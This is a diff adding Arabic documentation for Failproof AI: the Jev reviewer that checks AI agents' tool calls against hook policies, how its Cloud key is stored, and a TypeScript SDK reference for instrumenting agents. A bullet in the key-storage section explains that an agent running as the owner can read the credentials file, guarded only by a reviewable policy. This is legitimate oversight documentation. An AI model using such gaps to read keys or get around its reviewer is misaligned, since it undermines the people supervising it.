+| `http-422` | رفض Jev طلب هذا الاستدعاء، عادة لأن استدعاء الأداة احتفظ بنص كثيف (base64، hex، كود مصغر) فوق ميزانية Jev. هذا الاستدعاء يعود في كل مرة؛ ليس انقطاع. |
+| `http-502` | Jev غير متاح الآن. |
+| `http-503` | لا يستطيع هذا Cloud تقديم Jev لمؤسستك: لا بوابة نموذج، مؤسسة لم يتم توفيرها بعد، أو البوابة معطوبة. اطلب من المسؤول؛ تسأل الخطافات مرة واحدة على الأكثر في الدقيقة. |
+| `http-404` | لا تخدم FailproofAI Cloud هذه Jev بعد. |
+| `timeout` | لا توجد إجابة في `timeoutMs` (الافتراضي 3000). |
+| `model-mismatch` | أجاب إصدار Jev آخر غير 1.13. |
+
+## حيث يعيش المفتاح وأين يذهب
+
+- يتم تخزين المفتاح مرة واحدة، في `~/.failproofai/credentials.json` (`0600`، في دليل خاص بالمالك فقط)، بجانب بيانات اعتماد FailproofAI Cloud الأخرى. لا يحمل `jev.json` مفتاحاً لهذا المسار؛ واحد مكتوب هناك يجعل التكوين غير صحيح.
+- إذا حمل `credentials.json` **أي** إذن لأي شخص غير أنت (مجموعة أو آخر، قراءة أو كتابة)، أو يمكن كتابة دليله بواسطة أي شخص غيرك، فسيتم **رفضه**، لم يتم قراءته، وسيتم إطفاء Jev حتى تصلحه: `chmod 600` على الملف، `chmod 700` على الدليل (أو أعد الاتصال، الذي يعيد كتابة الملف في `0600` ويجعل الدليل خاصاً بالمالك فقط). الدليل الذي يمكن للآخرين قراءته فقط هو بخير؛ الدليل الذي يمكنهم الكتابة فيه يتيح لهم استبدال الملف.
+- المفتاح ينطبق فقط أثناء اتصال الاتصال به على الآلة: سياسة أو بيانات اعتماد التقرير لنفس FailproofAI Cloud **بنفس المفتاح**، في نفس الملف. يتم تجاهل مفتاح Jev المتروك بدون واحد، وسيتم إطفاء Jev. يحدث عندما يترك failproofai الأقدم `config --disconnect` مفتاح Jev في مكانه (لا يعرف كيفية إزالته)، أو عندما يتصل failproofai الأقدم بـ `config --token` بمفتاح آخر، الذي قد ينتمي إلى مؤسسة أخرى على FailproofAI Cloud. لتشغيل Jev مرة أخرى، اتصل مرة أخرى بمفتاح **machine**.
+- يتم إرسال المفتاح فقط إلى أصل Cloud الذي تم التحقق منه ضده. يتم رفض `jev.json` الذي يشير إلى أي مكان آخر.
+- **وكيل على الآلة يمكنه قراءته.** `credentials.json` خاص بالمالك فقط، والوكيل يعمل كهذا المالك. يُسمح بقراءة ملفات failproofai الخاصة بنفسها عن قصد (فقط تغييرها مسدود بـ `block-failproofai-commands`)، لذا فإن الشيء الوحيد بين وكيل وهذا الملف هو `block-read-outside-cwd` — سياسة *قابلة للمراجعة* — ومن جلسة بدأت في مجلد المنزل الخاص بك، لا شيء. المفتاح الذي يحمل `jev:evaluate` ينفق تخصيص Jev بمؤسستك (حتى الحد الأقصى اليومي) من أينما تُستخدم، لذا تعامل مع مفتاح الآلة مثل أي بيانات اعتماد إنفاق أخرى: إذا كان قد يكون قد قرأه وكيل، عطّله على صفحة Keys وأعد الاتصال بمفتاح جديد.
+- فقط ملفاتك العامة تقرر هذا. لا يمكن لمستودع تشغيل Cloud Jev، الإشارة إليه في مكان آخر أو توريد مفتاحه، و `FAILPROOFAI_JEV_API_KEY` يتم تجاهله لهذا المسار.
+- لكل استدعاء يقيّمه Jev، طلب واحد يذهب إلى FailproofAI Cloud، يحمل ما تسرده [صفحة bring-your-own-key](/ar/policies/jev-byok#what-leaves-the-machine) (أسرار معاد صياغتها). ترسله FailproofAI Cloud إلى TypeSafe ولا تسجله أو تحفظ عليه.
+
+## إطفاؤه
+
+| الأمر | النتيجة |
+| --- | --- |
+| `failproofai jev setup --mode off` | احتفظ بالتكوين؛ لا يتم السؤال عن Jev. **هذا هو الخيار الذي يدوم:** الاتصال مرة أخرى لا يعيد كتابة `jev.json` موجود أبداً، لذا يبقى Jev معطلاً حتى تقوم بتشغيله بـ `--mode shadow`. |
+| `failproofai jev remove` | حذف `~/.failproofai/jev.json`؛ Jev معطل — حتى الاتصال التالي `failproofai config --token` بمفتاح يحمل `jev:evaluate`، الذي يجد لا `jev.json` ويشغل Jev في وضع shadow (ما لم يعمل بـ `--no-transcripts`). للاحتفاظ به معطلاً، استخدم `--mode off`. |
+| `failproofai config --disconnect` | افصل الآلة: يتم إزالة المفتاح، وكذلك `jev.json` عندما يسمي FailproofAI Cloud وليس معطلاً. `jev.json` لنقطة النهاية الخاصة بك يبقى، وكذلك واحد معطل، لذا يبقى Jev معطلاً عندما تتصل مرة أخرى. |
+
+من استدعاء الأداة التالي، تعمل الخطافات على سياسات regex تماماً كما كانت من قبل.
\ No newline at end of file
diff --git a/docs/ar/policies/jev.mdx b/docs/ar/policies/jev.mdx
new file mode 100644
index 000000000..cf68117d2
--- /dev/null
+++ b/docs/ar/policies/jev.mdx
@@ -0,0 +1,45 @@
+---
+title: "سياسات Jev"
+description: "أضف المراجعة المباشرة من Jev لاستدعاءات الأدوات المحمية، ثم فتشها قبل تطبيق قراراتها."
+icon: "shield-check"
+---
+
+يقرأ Jev استدعاء أداة مقابل ما طلبه الشخص من الوكيل القيام به. استخدمه عندما تحظر سياسة المطابقة النصية عملاً صحيحاً أو تفوتك إجراءً محفوفاً بالمخاطر يحتاج إلى سياق. يجيب جنباً إلى جنب مع سياساتك في بوابة `PreToolUse` أو `PermissionRequest`. للحصول على درجة **بعد** انتهاء الجلسة، استخدم [تقييمات Jev](/ar/evaluations/jev).
+
+## ابدأ بوضع المراقبة
+
+ثبّت Failproof AI وأرفق الخطافات بـ [حزام مدعوم](/ar/reference/harnesses). استخدم failproofai 1.0.8-beta.0 أو إصدار أحدث.
+
+لا تحتوي Failproof AI على فحوصات Jev. ثبّتها كحزمة، وإلا لن يكون لدى Jev شيء للسؤال عنه ولن يتم استدعاؤه:
+
+```bash
+failproofai policies add FailproofAI/jev-policies
+```
+
+ثم اختر كيفية وصول الطلبات إلى Jev:
+
+| الطريق | الخطوة الأولى |
+| --- | --- |
+| FailproofAI Cloud | الاتصال بمفتاح **machine** يحمل `jev:evaluate`. على جهاز بدون إعدادات Jev، يؤدي `failproofai config` إلى تشغيل Jev في وضع المراقبة. |
+| مزودك الخاص | في لوحة المعلومات المحلية، افتح **الإعدادات → Jev**، اختر المزود، الصق رمزه، وحدد **مراقبة**. أو قم بتشغيل `failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key`. |
+
+
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+يتحقق `test` من النقطة النهائية. للتحقق من مسار الخطاف، اطلب من وكيل مع خطاف أن يستخدم أداة قراءة الملفات على `README.md`. أكد أن استدعاء الأداة هذا يظهر في الجلسة، ثم افتش **السياسات → النشاط** في [لوحة المعلومات المحلية](/ar/reference/local-dashboard#review-policy-activity). يجب أن يزيد عدد Jev في `status`. يسجل وضع المراقبة ما كان سيقرره Jev بينما لا تزال نتيجة السياسة الحالية تنطبق.
+
+## حدد متى تطبق
+
+السياسة **hard** لها دائماً الكلمة الأخيرة. قد يمسح Jev الرفض فقط من سياسة محددة بوضوح **reviewable** وفقط عندما يتحقق من المخاوف المسماة للسياسة. انظر [سلطة السياسة](/ar/policies/authority) قبل الاعتماد على إذن. يمكن لـ Jev أيضاً تحذير أو رفض بمفرده. إذا لم يتمكن من الإجابة، فإن نتيجة السياسة تقرر هذا الاستدعاء.
+
+بمجرد أن تبدو نتائج المراقبة صحيحة، قم بالتبديل إلى وضع الإنفاذ في **الإعدادات → Jev** أو قم بتشغيل:
+
+```bash
+failproofai jev setup --mode enforce
+```
+
+لعناوين URL المزودين ومفاتيح Cloud والإعدادات والبدائل والبيانات المرسلة مع كل طلب، راجع [مرجع تكامل Jev](/ar/reference/jev).
\ No newline at end of file
diff --git a/docs/ar/reference/custom-agents-typescript.mdx b/docs/ar/reference/custom-agents-typescript.mdx
new file mode 100644
index 000000000..13b44ccf5
--- /dev/null
+++ b/docs/ar/reference/custom-agents-typescript.mdx
@@ -0,0 +1,401 @@
+---
+title: "وكلاء مخصصون (TypeScript)"
+description: "الإعدادات وكتالوج الأحداث والنطاقات ومحولات الإطار العمل لـ @failproofai/sdk."
+icon: "square-js"
+---
+
+شرح شامل لكل إعداد وطريقة وحقل في SDK الخاص بـ TypeScript. إذا كنت تقوم بالتجهيز للمرة الأولى، ابدأ بالدليل — هذه الصفحة مخصصة للبحث عن المعلومات.
+
+
+
+ التثبيت والتجهيز وطرق الأحداث ومثال عملي والمشاكل الشائعة.
+
+
+ نفس الأحداث وتنسيق السلك نفسه والمسفر نفسه — من Python.
+
+
+
+Node 20.9 أو أحدث. ESM و CommonJS. بدون تبعيات الوقت التشغيلي.
+
+
+ هذا SDK والآخر الخاص بـ Python يكتبان **نفس الأحداث إلى نفس المسفر**. أسطول يحتوي على وكلاء Node ووكلاء Python ينتج مجموعة واحدة من الجلسات وليس اثنتين، ولا شيء في لوحة المعلومات يميز بينهما. اختر لكل خدمة وليس لكل شركة.
+
+
+## التثبيت
+
+```bash
+npm install @failproofai/sdk
+```
+
+```ts
+import * as failproofai from "@failproofai/sdk";
+
+await failproofai.agent("planner", { goal: question }, async () => {
+ const hits = await failproofai.toolCall("web_search", { input: { q } }, () => search(q));
+});
+```
+
+محولات الإطار العمل تأتي في الحزمة نفسها. الأطر العمل **اختيارية peer dependencies** — مُعلنة بحيث تكون النطاقات المدعومة مرئية وغير مثبتة نيابة عنك أبداً، وتُستورد فقط عند استدعاء `instrument()`.
+
+## توصيل مستقبل Failproof
+
+متطابق مع SDK الخاص بـ Python: أنشئ مفتاح `events:add` تحت **Admin → Keys**، ثم [وصّل المستقبل](/ar/start/setup#connect-a-machine-to-cloud) على جهاز الوكيل. يكتب SDK إلى القرص؛ المستقبل يُرسل البيانات.
+
+## الإعدادات
+
+```ts
+failproofai.configure({
+ environment: "production",
+ flushInterval: 0.5,
+ baseDir: undefined,
+});
+```
+
+| الخيار | ما الذي يفعله |
+| --- | --- |
+| `environment` | الملصق على كل حدث — `production` أو `staging` أو `prod-eu`. الافتراضي `dev`. |
+| `flushInterval` | عدد المرات التي يكتب فيها المؤقت إلى القرص، بالثواني. الافتراضي `0.5`. |
+| `baseDir` | مكان الكتابة. الافتراضي هو مسفر المستقبل، وهو ما تريده ما لم تعرف خلاف ذلك. |
+
+لا يتم تطبيق أي شيء ما لم يتحقق من صحة كل ذلك، لذلك يترك الاستدعاء المرفوض SDK تماماً كما هو بدلاً من وجود `baseDir` جديد والفاصل الزمني القديم.
+
+ضبط متغير بيئة بدلاً من ذلك:
+
+| متغير | ما الذي يفعله |
+| --- | --- |
+| `AGENTEYE_ENVIRONMENT` | يضبط `environment` دون تغيير الكود. خيار `configure()` يأخذ الأولوية عليه. |
+| `FAILPROOFAI_HOME` | ينقل جذر Failproof AI الذي يحتفظ بالمسفر. |
+| `FAILPROOFAI_SDK_LOG_LEVEL` | `debug` أو `info` أو `warn` (الافتراضي) أو `error` أو `silent`. |
+| `FAILPROOFAI_SDK_STRICT` | `1` يجعل أخطاء التجهيز ترمي استثناءات بدلاً من تسجيلها. |
+| `FAILPROOFAI_SDK_STRICT_INTEGRATIONS` | `1` يجعل مشكلة التوافقية مع الإطار العمل ترمي استثناءات بدلاً من التحذير والمتابعة. |
+
+
+ **لا توجد فواصل في `environment`.** يقسم الاستيعاب هذا الحقل على الفواصل لبناء مرشحاته، ويتخطى أي حدث يحتوي على فاصلة — بحيث يختفي التشغيل بأكمله بصمت. اكتب `prod-eu` وليس `prod,eu`.
+
+ `configure({ environment: "prod,eu" })` يرمي استثناء بحيث تعرف على الفور. `AGENTEYE_ENVIRONMENT` لا يمكنه رمي استثناء — لا أحد يناديك — لذا يحذر مرة واحدة ويعود إلى `dev`.
+
+
+وجّه سطور السجل الخاص بـ SDK إلى المسجل الخاص بك باستخدام `failproofai.setLogger({ debug, info, warn, error })`.
+
+## الإيقاف
+
+تُُفرّغ الأحداث المخزنة مؤقتاً عند `process.on("exit")`.
+
+العملية المقتولة بإشارة لا تصل أبداً إلى ذلك، والافتراضي في Node لـ `SIGTERM` هو الإنهاء دون تشغيل معالجات الخروج — لذا يفقد الوكيل في حاوية ما كان الفاصل الزمني الأخير لم يكتبه.
+
+
+ **هذا SDK لن يثبّت معالج إشارة لك.** يؤدي تسجيل واحد إلى تغيير سلوك العملية: المستمع يقمع الإنهاء الافتراضي في Node، لذا ستتوقف مكتبة أضافت واحداً بصمت عن عمل Ctrl-C. أضف الخاص بك:
+
+ ```ts
+ for (const signal of ["SIGINT", "SIGTERM"] as const) {
+ process.once(signal, () => {
+ failproofai.flushSync();
+ process.exit(0);
+ });
+ }
+ ```
+
+
+يجب على سكريبت قصير الأجل أو معالج بدون خادم أن يفعل `await failproofai.flush()` قبل العودة — الفاصل الزمني وحده لا يضمن التسليم.
+
+## الهوية
+
+كل حدث ينتمي إلى جلسة ووكيل. **النطاقات ملأهما**، لذا نادراً ما تمررهما:
+
+```ts
+await failproofai.session(async () => {
+ await failproofai.agent("planner", async () => {
+ failproofai.event.toolUse({ toolName: "search", toolCallId: "c1" });
+ });
+});
+```
+
+تمرير `sessionId` أو `agentId` بشكل صريح يعمل أيضاً ويأخذ الأولوية. مع عدم ربط أو تمرير، ترمي استثناء بدلاً من إصدار حدث Cloud سيتجاهله بصمت.
+
+
+ الهوية تركب على `AsyncLocalStorage`. تتبع `await` و `.then()` والمؤقتات والعودة الاستدعاء المُنشأة داخل النطاق. **لا** تتبع عودة استدعاء مخزنة أثناء تشغيل واحد وتُستدعى أثناء تشغيل آخر، أو العمل الممرر عبر حدود `worker_threads` — لفّهما في `failproofai.propagate()` أو أحداثهما ستهبط غير مرتبطة.
+
+
+### النطاقات
+
+| النطاق | الإصدار | العودة |
+| --- | --- | --- |
+| `session(body)` | لا شيء — الهوية فقط | كل ما يعيده `body` |
+| `agent(id, options?, body)` | `agent_start`، ثم `agent_end` | كل ما يعيده `body` |
+| `toolCall(name, options?, body)` | `tool_use`، ثم `tool_result` | كل ما يعيده `body` |
+
+جسم متزامن يبقى متزامناً: `agent("x", () => 1)` يعيد `1`، وليس وعداً.
+
+يسجل `toolCall` قيمة الجسم المحلولة كـ `output` للأداة، ما لم تخصص `call.output` بنفسك.
+
+
+
+| ما حدث | الأحداث | `outcome` |
+| --- | --- | --- |
+| أعاد الكتلة | `agent_end` | `"success"` أو `outcome` الخاص بك |
+| رمت الكتلة استثناء | `error`، ثم `agent_end` | `"failed"` |
+| `AbortError` | `agent_end` فقط | `"cancelled"` |
+
+يُعاد رمي الخطأ دائماً.
+
+يتم تسجيل فشل الأداة على الورقة — `tool_result` مع سلسلة `error` — ولا يُصدر حدث `error` على مستوى التشغيل. الحدث الذي يمسكه حلقة الوكيل ليس فشل التشغيل، والحدث الذي ينتشر يُُبلّغ عنه مرة واحدة بالضبط، من قِبل `agent()` المرفق.
+
+
+
+
+
+عندما لا يكون العمل دالة واحدة — نطاق مفتوح في المُنشئ وتُغلقه في التفكيك، أو واحد يعبر التحكم بالتدفق الموجود:
+
+```ts
+{
+ using span = failproofai.agent.open("planner", { goal });
+ using call = failproofai.toolCall.open("search", { input: { q } });
+ call.call.output = await search(q);
+} // tool_result، ثم agent_end
+```
+
+كلا الشكلين يُصدران أحداث متطابقة بالبايت. فضّل شكل العودة الاستدعاء: فهو يعمل داخل `AsyncLocalStorage.run()`، لذا لا شيء للعودة عنه وفئة كاملة من أخطاء تفتح هنا وتُغلق هناك غير قابلة للوصول.
+
+كتلة `using` التي تمسك بفشلها الخاص تبلغ عنه باستخدام `span.fail(error)` — قناة الخروج لا تملك قناة استثناء خاصة بها.
+
+
+
+## كتالوج الأحداث
+
+نفس خمسة عشر طريقة مثل SDK الخاص بـ Python، بـ camelCase. معظمها يأتي في **أزواج** — تستدعي الفاتح، ثم الأغلق، و SDK يقيس الفجوة.
+
+| | فتح | إغلاق |
+| --- | --- | --- |
+| **الوكلاء** | `agentStart` | `agentEnd` |
+| | `agentPause` | `agentResume` |
+| **النماذج** | `modelRequest` | `modelResponse` |
+| **الأدوات** | `toolUse` | `toolResult` |
+| **الخطافات** | `hookTriggered` | `hookCompleted` |
+| **البشر** | `humanWait` | `humanInput` |
+
+ثلاثة منهما منفصلة: `error` و `humanPause` و `humanInterrupt`.
+
+
+
+كل طريقة تأخذ أيضاً `sessionId` و `agentId`، والتي تملأها النطاقات لك. أي شيء محذوف يُسقط بدلاً من إرساله كـ JSON `null`.
+
+| الطريقة | مطلوب | اختياري |
+| --- | --- | --- |
+| `agentStart` | — | `goal` و `parentId` |
+| `agentEnd` | — | `outcome` و `summary` |
+| `agentPause` | `pauseId` | `reason` و `userId` |
+| `agentResume` | `pauseId` | `reason` و `userId` |
+| `modelRequest` | — | `model` و `messages` و `system` و `tools` و `requestId` |
+| `modelResponse` | — | `model` و `stopReason` و `inputTokens` و `outputTokens` و `content` و `role` و `requestId` |
+| `toolUse` | `toolName` و `toolCallId` | `input` |
+| `toolResult` | `toolName` و `toolCallId` | `output` و `error` |
+| `hookTriggered` | `hookName` و `hookId` | `triggerEvent` و `input` |
+| `hookCompleted` | `hookName` و `hookId` | `outcome` و `output` و `error` |
+| `error` | `errorType` و `message` | `traceback` |
+| `humanWait` | `inputId` | `prompt` و `options` و `reason` |
+| `humanInput` | `inputId` | `response` |
+| `humanPause` | — | `reason` و `userId` |
+| `humanInterrupt` | — | `reason` و `userId` و `atStep` |
+
+أي مفتاح آخر تُضيفه يصبح حقل حمولة مخصص. اجعل مساحة كل شيء خاص بالإطار العمل `fw_*`؛ اسم يتعارض مع حقل مُعلن يُرفض بدلاً من الكتابة الصامتة على عمود مرفوع.
+
+
+
+
+ **`duration_ms` محسوب، لا يُقبل.** الطرق الأربع للإغلاق تقيس الفجوة من الفاتح الخاص بها وترفض `duration_ms` المُزود من المتصل — المدة المُبلّغ عنها غير قابلة للتزييف.
+
+ تُطابق الأزواج على **الجلسة** والمعرّف، ولا تُطابق أبداً على الوكيل. أداة مفتوحة تحت `planner` ومغلقة تحت `worker` تزال متطابقة، وهو ما تفعله تشغيلات الوكلاء المتداخلة المتعددة فعلاً.
+
+
+## محولات الإطار العمل
+
+```ts
+await failproofai.instrument(); // كل ما يمكنها العثور عليه
+await failproofai.instrument("langchain"); // واحد بالضبط
+failproofai.uninstrument(); // أعد كل شيء
+```
+
+| الإطار العمل | المدعوم | كيف تُرفق |
+| --- | --- | --- |
+| **LangChain.js / LangGraph.js** | `@langchain/core` 0.3 – 1.x و LangGraph.js 0.4 – 1.x | `CallbackManager.configure`، لذا يُغطى كل `invoke`/`stream`/`batch` دون تمرير `callbacks:` أي مكان — أو مرّر `langchainHandler()` بنفسك ولا تُصحح أي شيء. |
+| **Vercel AI SDK** | `ai` 4 – 7 | `telemetry()` في موقع الاستدعاء، أو `instrument("ai")` للعملية بأكملها على `ai` 7 (على 4–6 يكون اختيارياً — انظر أدناه). |
+| **Mastra** | `@mastra/core` 0.20 – 1.x | `Agent.generate`/`.stream` وحل نموذج وأداة الوكيل ومحرك تشغيل سير العمل والخطوة. |
+| **LlamaIndex.TS** | `llamaindex` 0.11.4 – 0.x | `Settings.callbackManager` (مُشترك) بالإضافة إلى `AgentWorkflow.runStream`، لتشغيلات سير العمل والخطوات الخاصة بهم. |
+
+يتم اختبار كل نطاق ضد إصدارات إطار العمل الفعلية، في كلا الطرفين، كـ ES module وكـ CommonJS، على كل تشغيل CI.
+
+التعيين هو SDK الخاص بـ Python، لذا يرسم نفس البرنامج نفس الشجرة بكل لغة. البناء هو **وكيل** فقط إذا كان يملك حلقة قرار LLM — تشغيل رسم بياني أو سلسلة أو استدعاء `generateText`/`streamText` من AI SDK أو وكيل Mastra أو تشغيل وكيل LlamaIndex. عقدة LangGraph أو خطوة سير العمل هي **خطاف** (`hook_triggered`/`hook_completed`)، ليس أبداً وكيل متداخل. استدعاءات النموذج هي أزواج `model_request`/`model_response` مع عدد الرموز؛ استدعاءات الأداة تحمل معرّف استدعاء الأداة الخاص بالنموذج. يتم تسجيل الفشل مرة واحدة، على الحدث الذي حدث فيه.
+
+محول فشل في التثبيت يُسجل ويُتخطى؛ الآخرون يثبّتون أيضاً، لأن LlamaIndex المكسورة لا يجب أن تُكلفك LangGraph.
+
+
+ `instrument()` بدون وسيطة تكتشف إطار العمل بما إذا كان **يُحل**، وليس بما إذا كان مستورداً بالفعل — Node لا يُكشف عن ما يعادل Python's `sys.modules` لـ ES modules. إطار عمل ثبّته لكن لا تستخدمه سيتم استيراده وتصحيحه. سمّ الذي تريده إذا أهمّ ذلك.
+
+
+
+ معظم أطر العمل هذه تأتي مع إصدار ES-module وإصدار CommonJS، والذي يحمّله Node كنسختين غير مرتبطتين. تصحح المحولات النسخة التي يحملها التطبيق (والنسخة CommonJS أيضاً إذا كان شيء قد `require`د بالفعل)، لذا يعمل كلا نظامي الوحدات. إطار عمل **مرتجل في مخرجاتك الخاصة** بواسطة esbuild أو webpack بعيد المنال — استخدم مساعدات موقع الاستدعاء هناك: `langchainHandler()` و `telemetry()` و `wrapTool()`.
+
+
+### LangChain بدون تصحيح
+
+```ts
+import { langchainHandler } from "@failproofai/sdk/langchain";
+await graph.invoke(input, { callbacks: [langchainHandler()] });
+```
+
+يعمل المعالج مع أو بدون `instrument()` ولا يُسجل مرتين أبداً. `instrument("langchain")` يأخذ `sessionId` و `captureContent` و `includeChains` و `graphCallbacks` و `captureLimit`، مثل محول Python؛ `metadata: { failproofai_sdk_session_id }` على استدعاء يختار الجلسة لذلك الاستدعاء.
+
+### Vercel AI SDK
+
+يُصدّر AI SDK دوال عادية من ES module، وفضاء الاسم الخاص بـ ES module غير قابل للتغيير بالمواصفات — لا مكان للتصحيح. يستخدم نقاط الامتداد التي يوثقها SDK نفسه:
+
+```ts
+import { telemetry } from "@failproofai/sdk/ai";
+
+const { text } = await generateText({
+ model,
+ prompt,
+ experimental_telemetry: telemetry({ functionId: "answer-question" }),
+ // على ai 7، `telemetry: telemetry({ … })` — نفس الكائن، الاسم الجديد
+});
+```
+
+هذا هو التكامل الكامل: نطاق وكيل وزوج طلب/استجابة نموذج لكل خطوة مع عدد الرموز وكل استدعاء أداة. موقع استدعاء واحد يعمل على كل رئيسي — `ai` 4–6 تقرأ التتبع الذي تحمله، `ai` 7 التكامل التلمتري.
+
+`instrument("ai")` يفعل نفس الشيء على مستوى العملية **على `ai` 7**: كل استدعاء، من خلال قائمة التكامل التلمتري العام الخاص بـ AI SDK، والتي تضيفية وتأخذ أي شيء من أي شخص آخر.
+
+**على `ai` 4–6، `instrument("ai")` لا يسجل أي شيء بنفسه، ويسجل تحذيراً واحداً يقول ذلك.** خطاف العملية الكاملة الوحيد لديه هو مزود التتبع OpenTelemetry العام — فتحة واحدة OpenTelemetry ترفض تسليمها مرة واحدة أُخذت. يوفر تسجيل الخاص بنا سيرفض صراحة `NodeSDK.start()` الخاص بك لاحقاً في البدء وسيرسل رموز http/database الخاصة بك إلى متتبع الذي لا يُصدّر أي شيء. استخدم `telemetry()` في موقع الاستدعاء أو `wrapModel` هناك. إذا كانت العملية لا تشغل OpenTelemetry الخاصة بها، اختر الدخول مع `instrument("ai", { registerGlobalTracer: true })`: ثم يسجل كل استدعاء يمرر `experimental_telemetry: { isEnabled: true }`، ويأخذ الفتحة فقط إذا كانت لا تزال فارغة. `registerGlobalTracer: false` يحتفظ بالافتراضي ويسكت التحذير.
+
+إذا كنت تفضل لف النموذج مرة واحدة، `wrapModel` يرى استدعاءات النموذج فقط، لأن استدعاءات الأداة تحدث فوق طبقة النموذج. نموذج ملفوف يُستدعى مع لا شيء حوله يُسجل كتشغيل خاص به. استدعاء مُجرى يُغلق مهما توقفت الجريان — `stop_reason: "cancelled"` عندما يُلغي المستهلك، `"error"` مع الخطأ عندما يفشل في الوسط:
+
+```ts
+import { wrapModel } from "@failproofai/sdk/ai";
+const model = await wrapModel(openai("gpt-4o"));
+```
+
+استخدام كليهما بخير: تلاحظ الحوسبة الوسيطة أن الاستدعاء يُسجل بالفعل وتؤجل، لذا يُسجل كل استدعاء مرة واحدة.
+
+`functionId` يسمي نطاق الوكيل. اجعلها منخفضة في مجموعة السكان — تهبط في `agent_id`، الجانب الرئيسي للوحة المعلومات.
+
+### Next.js
+
+`next build` ترزم تبعيات الخادم الخاص بك بشكل افتراضي، وإطار عمل مرتجل في الإصدار هو نسخة `instrument()` لا يمكنها الوصول. لف الإعدادات مرة واحدة واستدع `instrument()` من خطاف بدء Next:
+
+```ts
+// next.config.ts
+import { withFailproofai } from "@failproofai/sdk/next";
+export default withFailproofai({ /* your config */ });
+```
+
+```ts
+// instrumentation.ts
+export async function register() {
+ if (process.env.NEXT_RUNTIME !== "nodejs") return;
+ const failproofai = await import("@failproofai/sdk");
+ await failproofai.instrument();
+}
+```
+
+يضيف `withFailproofai` LangChain و Mastra و LlamaIndex و SDK نفسه إلى `serverExternalPackages`، محتفظاً بقائمتك الخاصة. بدونه، يُحذر `instrument()` مرة واحدة لكل إطار عمل لا يمكنه الوصول إليه بدلاً من الفشل بصمت؛ إذا أدرجت الحزم بنفسك، اضبط `FAILPROOFAI_NEXT_EXTERNALS=1`. يعمل Vercel AI SDK ومساعدات موقع الاستدعاء بكلا الطريقتين. مسار Edge يحصل على إصدار لا فعالي: استيراد SDK آمن وآن لا تسجل أي شيء.
+
+### عدد الرموز على الاستدعاءات المُجراة
+
+تُبلغ واجهات برمجة التطبيقات المتوافقة مع OpenAI عن الاستخدام على جريان فقط عندما يطلبه العميل. LangChain و Vercel AI SDK يطلبان؛ لـ LlamaIndex مرّر `additionalChatOptions: { stream_options: { include_usage: true } }` إلى LLM الخاص به `OpenAI`، ولـ Mastra ابنِ النموذج مع تمكين الاستخدام (على سبيل المثال `createOpenAICompatible({ includeUsage: true })`). خلاف ذلك استدعاءات نموذج مُجراة لا تحمل عدد الرموز.
+
+### وقت التشغيل
+
+Node ≥ 20.9 و Bun و Deno — كل إطار عمل، كـ ES module و CommonJS، يُختبر على كل واحد ضد تتبع Node. يعمل SDK بجانب مستقبل `failproofaid`، والذي يُرسل ما يكتبه.
+
+## وكيلك الخاص — بدون إطار عمل
+
+لحلقة وكيل كتبتها بنفسك، أو إطار عمل بدون محول. تُصدر الأحداث بنفس واجهة برمجة التطبيقات التي تستخدمها المحولات تحتها، لذا يحتوي التتبع على نفس الشكل والجودة.
+
+لا تحتاج إلى معرفة كيفية تنظيم الوكيل. كل وكيل مبني يدوياً بالفعل له ثلاثة أماكن، مهما دُعيت وظائفه، وهذه الثلاثة هي التكامل بأكمله:
+
+| المكان | ما يجب إضافته | الإصدار |
+| --- | --- | --- |
+| حيث يبدأ وينتهي **تشغيل واحد** | `failproofai.agent("name", { goal }, async () => …)` | `agent_start` / `agent_end` |
+| **الدالة الوحيدة التي تستدعي النموذج** | `event.modelRequest` قبل، `event.modelResponse` بعد — كلا النصفين، حتى عند الفشل | زوج واحد لكل دور نموذج |
+| **الدالة الوحيدة التي تشغل الأدوات** | `failproofai.toolCall(name, { toolCallId, input }, () => run())` | `tool_use` / `tool_result` |
+
+```ts
+async function callModel(messages) {
+ const requestId = randomUUID();
+ const started = Date.now();
+ failproofai.event.modelRequest({ model: MODEL, requestId, messages });
+ try {
+ const reply = await client.chat.completions.create({ model: MODEL, messages, tools });
+ failproofai.event.modelResponse({
+ model: reply.model, requestId, stopReason: reply.choices[0].finish_reason,
+ inputTokens: reply.usage?.prompt_tokens, outputTokens: reply.usage?.completion_tokens,
+ duration_ms: Date.now() - started,
+ });
+ return reply.choices[0].message;
+ } catch (error) {
+ failproofai.event.modelResponse({ model: MODEL, requestId, stopReason: "error",
+ error: String(error), duration_ms: Date.now() - started });
+ throw error;
+ }
+}
+
+async function dispatch(call) {
+ const input = JSON.parse(call.function.arguments);
+ return failproofai.toolCall(call.function.name, { toolCallId: call.id, input },
+ () => runTool(call.function.name, input));
+}
+
+await failproofai.agent("inventory", { goal: question }, async () => {
+ for (;;) {
+ const message = await callModel(messages);
+ if (!message.tool_calls?.length) return message.content;
+ for (const call of message.tool_calls) await dispatch(call);
+ }
+});
+```
+
+الهوية محيطة: كل شيء داخل `agent()` يهبط على تشغيل الجلسة بدون أخذ معرّف، ولا شيء آخر في البرنامج يتغير — بما في ذلك كل ما كتبه الوكيل بالفعل إلى قاعدة بيانات الخاص به.
+
+- **خدمة أو عامل:** مرّر معرّف الطلب أو الوظيفة الخاص بك كـ `sessionId`، بحيث تكون الجلسة على لوحة المعلومات والسجل في السجلات أو قاعدة البيانات الخاصة بك نفس السلسلة.
+- **وكلاء فرعيون:** عشّش استدعاءات `agent()`. الداخل ينضم إلى الجلسة مع الخارج مثل `parent_id` الخاص به.
+- **أصدر الأزواج.** `modelRequest` بدون `modelResponse` هو نطاق تُظهره لوحة المعلومات كتشغيل إلى الأبد — ومن هنا العودة `catch`.
+
+[`sdk/typescript/examples/research-agent.ts`](https://github.com/FailproofAI/failproofai/blob/main/sdk/typescript/examples/research-agent.ts) في المستودع هو الإصدار الكامل القابل للتشغيل: حلقة أداة OpenAI حقيقية تُجهز بالضبط مثل هذا، يعمل في CI على كل تغيير كـ ES module و CommonJS.
+
+## التقييمات
+
+```ts
+import { Evaluator, EvalResult, Score } from "@failproofai/sdk/evaluator";
+
+export const app = new Evaluator({ name: "my-evals", version: "1" });
+
+app.eval("tool_success_rate", { version: "1" }, (session) => {
+ const results = session.eventsOfType("tool_result");
+ const failures = results.filter((event) => event.payload.error != null).length;
+ return new EvalResult({
+ score: new Score(results.length === 0 ? 1 : 1 - failures / results.length),
+ reasoning: `${failures} of ${results.length} tool calls failed`,
+ });
+});
+```
+
+```bash
